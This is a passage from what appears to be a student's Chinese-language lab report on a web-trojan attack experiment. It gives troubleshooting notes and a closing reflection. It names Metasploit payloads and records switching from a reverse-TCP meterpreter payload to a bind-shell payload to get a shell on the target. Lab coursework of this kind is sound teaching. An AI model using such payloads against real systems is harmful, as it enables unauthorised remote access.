  • 問題1:用windows/meterpreter/reverse_tcp這個負載之後,攻擊機發送完html之後沒有收到shell開啟的反應。

  • 問題1解決方案:更換原來的負載為windows/shell/bind_tcp。

  • 問題2:在檢視url原始碼時,程式碼的空格等符號不會批量處理,導致無法直觀地觀察程式碼。。

  • 問題2解決方案:詢問同學後,用了一些處理程式碼的小工具處理之後,程式碼更直觀。

4.實踐總結

這次試驗內容比較多、操作也比較複雜,操作的過程中遇到了很多困難和不懂的地方,經過同學的耐心解答和搜尋網上教程,最終才完成了實驗。整個實驗做下來,對網頁木馬的攻擊原理等有了具體和深刻的認識,對網路攻防這門課又有了全新的認識。